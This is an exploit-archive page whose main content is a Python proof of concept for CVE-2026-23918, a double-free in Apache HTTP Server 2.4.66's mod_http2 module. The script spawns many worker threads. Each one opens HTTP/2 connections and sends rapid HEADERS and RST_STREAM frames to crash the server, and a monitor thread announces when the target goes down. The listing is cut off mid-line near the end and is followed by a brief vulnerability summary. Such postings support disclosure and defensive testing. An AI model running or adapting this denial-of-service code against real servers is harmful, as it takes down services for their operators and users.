This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Apache HTTP Server 2.4.66 - 'mod_http2' Double-Free Denial of Service EDB-ID: 52577 CVE: 2026-23918 EDB Verified: Author: ALISUNBUL Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-05-26 Vulnerable App: # Exploit Title: Apache HTTP Server 2.4.66 - 'mod_http2' Double-Free Denial of Service # Google Dork: intext:"Apache/2.4.66" "HTTP/2" # Date: 2026-05-06 # Exploit Author: xeloxa (https://github.com/xeloxa/) <alisunbul@proton.me> # Vendor Homepage: https://httpd.apache.org/ # Software Link: https://archive.apache.org/dist/httpd/httpd-2.4.66.tar.gz # Version: 2.4.66 # Tested on: Debian / Ubuntu # CVE : CVE-2026-23918 """ CVE-2026-23918 - Apache mod_http2 Double-Free PoC Quick summary: This bug (CWE-415) hits Apache 2.4.66. It's a race condition in the stream cleanup path. If you spam HEADERS and RST_STREAM fast enough, you can trigger a double-free and crash the worker. Author: xeloxa (https://github.com/xeloxa/) <alisunbul@proton.me> Found by: Bartlomiej Dmitruk & Stanislaw Strzalkowski """ import argparse import json import os import signal import socket import ssl import sys import threading import time from collections import defaultdict from dataclasses import dataclass, field from datetime import datetime from typing import Dict, List, Optional, Tuple # --------------------------------------------------------------------------- # Dependency Check # --------------------------------------------------------------------------- try: import h2.config import h2.connection import h2.events HAS_H2 = True except ImportError: HAS_H2 = False # --------------------------------------------------------------------------- # ANSI Colors (for terminal output) # --------------------------------------------------------------------------- class Color: RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" MAGENTA = "\033[95m" CYAN = "\033[96m" BOLD = "\033[1m" RESET = "\033[0m" def c(text: str, color: str) -> str: """Wrap text in color if output is a terminal.""" if sys.stdout.isatty(): return f"{color}{text}{Color.RESET}" return text def print_banner(title: str, color: str = Color.BOLD) -> None: """Print a consistent tool banner with author info.""" print(f"{'=' * 60}") print(c(title, color)) print(f"Author: xeloxa (https://github.com/xeloxa/)") print(f"{'=' * 60}") # --------------------------------------------------------------------------- # Data Structures # --------------------------------------------------------------------------- @dataclass class ExploitStats: """Just a thread-safe counter for the stats.""" connections: int = 0 requests: int = 0 resets: int = 0 conn_errors: int = 0 stream_errors: int = 0 crashes: int = 0 lock: threading.Lock = field(default_factory=threading.Lock) def inc(self, attr: str, delta: int = 1) -> None: with self.lock: setattr(self, attr, getattr(self, attr) + delta) def snapshot(self) -> Dict[str, int]: with self.lock: return { "connections": self.connections, "requests": self.requests, "resets": self.resets, "conn_errors": self.conn_errors, "stream_errors": self.stream_errors, "crashes": self.crashes, } # --------------------------------------------------------------------------- # SSL / HTTP/2 Connection Helpers # --------------------------------------------------------------------------- def create_ssl_context( alpn_protocols: Optional[List[str]] = None, ) -> ssl.SSLContext: """Create an SSL context configured for HTTP/2 ALPN negotiation.""" ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE if alpn_protocols is None: alpn_protocols = ["h2"] ctx.set_alpn_protocols(alpn_protocols) return ctx def establish_h2_connection( host: str, port: int, timeout: float = 5.0, use_ssl: bool = True, ) -> Tuple[Optional[socket.socket], Optional[h2.connection.H2Connection]]: """ Sets up an H2 connection. Returns (socket, h2_connection) or (None, None) if something breaks. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((host, port)) if use_ssl: ctx = create_ssl_context() sock = ctx.wrap_socket(sock, server_hostname=host) config = h2.config.H2Configuration(client_side=True) conn = h2.connection.H2Connection(config=config) conn.initiate_connection() sock.sendall(conn.data_to_send()) # Receive server preface (SETTINGS frame) data = sock.recv(8192) if not data: sock.close() return None, None conn.receive_data(data) sock.sendall(conn.data_to_send()) return sock, conn except Exception: try: sock.close() except Exception: pass return None, None # --------------------------------------------------------------------------- # Mode 1: DoS - Rapid RST Attack # --------------------------------------------------------------------------- class RapidRSTDoS: """ The "classic" Rapid-RST DoS. We send a HEADERS frame and immediately follow up with an RST_STREAM. If the server hasn't registered the stream yet, it'll trigger two different cleanup callbacks. Both try to free the same memory. Boom - SIGSEGV. """ def __init__( self, target: str, port: int, workers: int = 100, intensity: int = 7, use_ssl: bool = True, timeout: float = 5.0, verbose: bool = False, json_output: bool = False, ): self.target = target self.port = port self.num_workers = workers self.intensity = max(1, min(10, intensity)) self.use_ssl = use_ssl self.timeout = timeout self.verbose = verbose self.json_output = json_output self.running = True self.crashed = False self.stats = ExploitStats() self.start_time: Optional[float] = None def is_server_alive(self) -> bool: """Check if the target server is responsive via HTTP/2.""" sock, conn = establish_h2_connection( self.target, self.port, timeout=3.0, use_ssl=self.use_ssl ) if sock is None: return False try: sock.close() except Exception: pass return True def worker(self, worker_id: int) -> None: """ Worker thread that continuously opens HTTP/2 connections and sends HEADERS+RST_STREAM frame sequences to trigger the double-free. """ streams_per_conn = 50 reset_interval = max(1, 11 - self.intensity) # Lower = more resets while self.running: sock, conn = establish_h2_connection( self.target, self.port, timeout=self.timeout, use_ssl=self.use_ssl, ) if sock is None: self.stats.inc("conn_errors") time.sleep(0.1) continue self.stats.inc("connections") try: sent = 0 while sent < streams_per_conn and self.running: try: stream_id = conn.get_next_available_stream_id() conn.send_headers( stream_id, [ (b":method", b"GET"), (b":scheme", b"https" if self.use_ssl else b"http"), (b":authority", self.target.encode()), (b":path", b"/"), ], ) sock.sendall(conn.data_to_send()) self.stats.inc("requests") # Send RST_STREAM on configured interval if sent % reset_interval == 0: conn.reset_stream(stream_id, error_code=1) sock.sendall(conn.data_to_send()) self.stats.inc("resets") sent += 1 # Small delay to avoid overwhelming local resources time.sleep(0.001 * (11 - self.intensity)) except Exception: self.stats.inc("stream_errors") break # Gracefully close the connection conn.close_connection() try: sock.sendall(conn.data_to_send()) except Exception: pass except Exception: pass finally: try: sock.close() except Exception: pass def monitor(self) -> None: """Monitor thread that checks server aliveness and prints stats.""" checks_since_alive = 0 last_report = 0 while self.running: time.sleep(0.5) alive = self.is_server_alive() if alive: checks_since_alive = 0 elapsed = int(time.time() - self.start_time) if elapsed - last_report >= 10: last_report = elapsed snap = self.stats.snapshot() if self.json_output: print( json.dumps( { "timestamp": datetime.now().isoformat(), "elapsed_s": elapsed, "status": "alive", **snap, } ) ) else: print( f" {c(f'[t={elapsed}s]', Color.CYAN)} " f"conns={snap['connections']} " f"reqs={snap['requests']} " f"resets={snap['resets']} " f"{c('OK', Color.GREEN)}" ) else: checks_since_alive += 1 if checks_since_alive >= 2 and not self.crashed: self.crashed = True self.stats.inc("crashes") elapsed = int(time.time() - self.start_time) if self.json_output: print( json.dumps( { "timestamp": datetime.now().isoformat(), "elapsed_s": elapsed, "status": "CRASHED", **self.stats.snapshot(), } ) ) else: print(f"\n{'=' * 60}") print( c( f"!!! SERVER CRASHED at t={elapsed}s !!!", Color.RED + Color.BOLD, ) ) print( f"Stats: {json.dumps(self.stats.snapshot(), indent=2)}" ) print(f"{'=' * 60}") self.running = False return def run(self) -> None: """Execute the DoS exploit.""" if not self.json_output: print_banner("CVE-2026-23918 - Apache Double-Free DoS", Color.BOLD + Color.RED) print(f"Target: {self.target}:{self.port}") print(f"Mode : Rapid-RST") print(f"Stats : {self.num_workers} workers | Intensity {self.intensity}") print(f"SSL : {'On' if self.use_ssl else 'Off'}") print(f"{'=' * 60}") if not HAS_H2: print(c("[!] h2 library missing. Install: pip3 install h2", Color.RED)) sys.exit(1) # Pre-flight server check if not self.json_output: print(c("[*] Checking if server is up...", Color.YELLOW)) if not self.is_server_alive(): print(c(f"[!] Can't reach {self.target}:{self.port}", Color.RED)) sys.exit(1) if not self.json_output: print(c("[+] Server's up. Sending payloads...\n", Color.GREEN)) # Launch workers self.start_time = time.time() workers = [] for i in range(self.num_workers): t = threading.Thread(target=self.worker, args=(i,), daemon=True) t.start() workers.append(t) # Run monitor (blocks until crash detected or Ctrl+C) se
This vulnerability (CVE-2026-23918, CVSS 8.8 HIGH) is a double-free condition (CWE-415) in the `mod_http2` module of Apache HTTP Server, triggered by a race condition during rapid HTTP/2 HEADERS and RST_STREAM frames, leading to a denial-of-service worker crash. The NVD data confirms Apache HTTP Server version 2.4.66 is affected.